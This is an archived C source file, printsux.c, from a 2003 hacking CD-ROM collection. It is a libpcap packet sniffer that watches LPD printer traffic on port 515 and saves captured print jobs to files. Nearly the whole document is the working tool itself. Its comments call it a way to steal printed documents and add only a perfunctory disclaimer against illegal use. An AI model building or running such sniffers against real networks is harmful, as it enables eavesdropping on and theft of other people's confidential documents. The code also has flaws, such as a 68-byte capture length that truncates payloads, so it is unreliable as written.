home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / printsux.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  3.1 KB  |  139 lines

  1. /*
  2.  * date:     31-12-99 -- 13.31 
  3.  * filename:     printsux.c
  4.  * compile with: cc printsux.c -lpcap
  5.  * 
  6.  * This src grabs documents printed on a network printer installed with lpd
  7.  *
  8.  * Don't use it for illegal purposes !
  9.  * It works only with normal hubs and without security layers :)
  10.  *
  11.  * QUESTO SORGENTE E' LIBERO COME L'ARIA POTETE MODIFICARLO, CAMBIARE ANCHE 
  12.  * IL NOME DELL'AUTORE E/O DEL FILE L'UNICO VINCOLO E' LA SINTASSI PROPRIA
  13.  * DEL LINGUAGGIO :D SI VIETA L'UTILIZZO PER SCOPI ILLEGALI.
  14.  * 
  15.  * Questo sorgente dimostra come sia facile in alcuni casi rubare documenti
  16.  * o altro stampato su una stampante collegata in rete ...
  17.  * Funziona nel caso in cui l'admin sia un gran pangonlino e in assenza di un
  18.  * hub switch... ovvio che funge solo su stampe remote... scusatemi se non 
  19.  * avevo voglia di rendere leggibile tutto il file grabbato ad ogni modo il
  20.  * documento e' ben visibile dal resto ...
  21.  *
  22.  * Questo stupido sorgente e' stato utilizzato per una dimostrazione legale 
  23.  * si vieta l'utilizzo per altri scopi.
  24.  *
  25.  * Per cocacola, caffe' di buona marca e concerti sono contattabile:
  26.  *
  27.  * pigpen [pigpen@s0ftpj.org] 
  28.  * 
  29.  */
  30.  
  31.  
  32. #include <stdio.h>
  33. #include <stdlib.h>
  34. #include <signal.h>
  35. #include <sys/types.h>
  36. #include <sys/socket.h>
  37. #include <netinet/in_systm.h>
  38. #include <netinet/in.h>
  39. #include <pcap.h>
  40.  
  41. #if (linux)
  42. #define __FAVOR_BSD
  43. #endif
  44.  
  45. #include <netinet/ip.h>
  46. #include <netinet/tcp.h>
  47.  
  48. #define PORT     515 
  49. #define SUFFIX "grab"
  50.  
  51.  
  52. FILE     *fp     = NULL;
  53. pcap_t  *p_desc = NULL;
  54.  
  55.  
  56. void aroundaround()
  57. {
  58.     if(fp)         fclose(fp);
  59.     if(p_desc)  pcap_close(p_desc);
  60.     
  61.     exit(0);
  62. }    
  63.  
  64.  
  65. int main(void)
  66. {
  67.  char            filename[15];
  68.  
  69.  char            *p_device, 
  70.            *p_err = NULL, 
  71.            *buff  = NULL;
  72.            
  73.  int            datalink, 
  74.            offset = 0, 
  75.            count  = 0;
  76.  
  77.  struct pcap_pkthdr p_hdr;
  78.  struct ip        *IP;
  79.  struct tcphdr        *TCP;
  80.  
  81.  
  82.  signal(SIGINT,  aroundaround);
  83.  signal(SIGTERM, aroundaround);
  84.  signal(SIGKILL, aroundaround);
  85.  signal(SIGQUIT, aroundaround);
  86.  
  87.  
  88.  if((p_device = pcap_lookupdev(p_err)))
  89.     printf("Interface -> %s\n", p_device);
  90.  else {
  91.     printf("%s\n", p_err);
  92.     return 0;
  93.  }
  94.     
  95.  if (!(p_desc = pcap_open_live(p_device, 68, 1, 1000, p_err))) {
  96.     printf("Error opening pcap: %s", p_err);
  97.     return 0;
  98.  }
  99.  
  100.  datalink = pcap_datalink(p_desc);
  101.  
  102.  switch(datalink) {
  103.     case DLT_EN10MB:
  104.         offset = 14;
  105.         break;
  106.  
  107.     // put other types of datalink if you want ....
  108.  }
  109.  
  110.  printf("Sniffing pkt ...\n");
  111.  
  112.  while(1) {
  113.   if ((buff = (char *) pcap_next(p_desc, &p_hdr))) {
  114.    (char *) buff += offset;
  115.    IP = (struct ip *) buff;
  116.     
  117.    switch(IP->ip_p) {
  118.     case IPPROTO_TCP:
  119.           TCP = (struct tcphdr *) (buff + ((int)IP->ip_hl << 2));
  120.          if(ntohs(TCP->th_dport)==PORT) {
  121.           if (TCP->th_flags & TH_SYN) {
  122.            if (fp)  fclose(fp);      
  123.              printf("Detect a print job\n");    
  124.             count++;
  125.             snprintf(filename, sizeof(filename)-1, "%s%d",
  126.                   SUFFIX, count);
  127.             fp=fopen(filename,"a+"); 
  128.            }
  129.           fwrite(buff + sizeof(struct ip) + sizeof(struct tcphdr), 
  130.                    ntohs(IP->ip_len) - sizeof(struct ip) -
  131.                    sizeof(struct tcphdr), 1, fp);
  132.           fflush(fp);
  133.          }
  134.          break;
  135.    }                    
  136.   }        
  137.  }
  138. }
  139.